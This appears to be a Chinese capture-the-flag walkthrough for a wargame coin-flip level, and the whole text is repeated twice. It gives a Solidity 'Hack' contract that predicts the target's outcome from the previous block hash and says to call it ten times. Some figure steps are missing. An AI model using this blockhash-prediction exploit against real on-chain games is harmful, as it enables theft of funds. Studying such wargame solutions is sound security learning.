https://remix.ethereum.org/

1.使用上述链接

2.创建CoinFlip.sol文件并写入代码，代码如下：

pragma solidity ^0.6.0;

interface CoinFlip{    function flip(bool _guess) external returns (bool);} contract Hack{    CoinFlip coin_flip;     uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;    bool public side;     constructor (address _addr) public{        coin_flip=CoinFlip(_addr);    }     function hack() public {         uint256 blockValue = uint256(blockhash(block.number - 1));         uint256 coinFlip =uint256(uint256(blockValue)/ FACTOR);         side = coinFlip == 1 ? true : false;         coin_flip.flip(side);    }}

3.如图

4.如图

5.部署到自己对应的合约地址，谷歌浏览器开发则着中输入contract可以找到合约地址。合约地址先择Hack。sol。然后部署。然后连续hack十次。结束。

https://remix.ethereum.org/

1.使用上述链接

2.创建CoinFlip.sol文件并写入代码，代码如下：

pragma solidity ^0.6.0;

interface CoinFlip{    function flip(bool _guess) external returns (bool);} contract Hack{    CoinFlip coin_flip;     uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;    bool public side;     constructor (address _addr) public{        coin_flip=CoinFlip(_addr);    }     function hack() public {         uint256 blockValue = uint256(blockhash(block.number - 1));         uint256 coinFlip =uint256(uint256(blockValue)/ FACTOR);         side = coinFlip == 1 ? true : false;         coin_flip.flip(side);    }}

3.如图

4.如图

5.部署到自己对应的合约地址，谷歌浏览器开发则着中输入contract可以找到合约地址。合约地址先择Hack。sol。然后部署。然后连续hack十次。结束。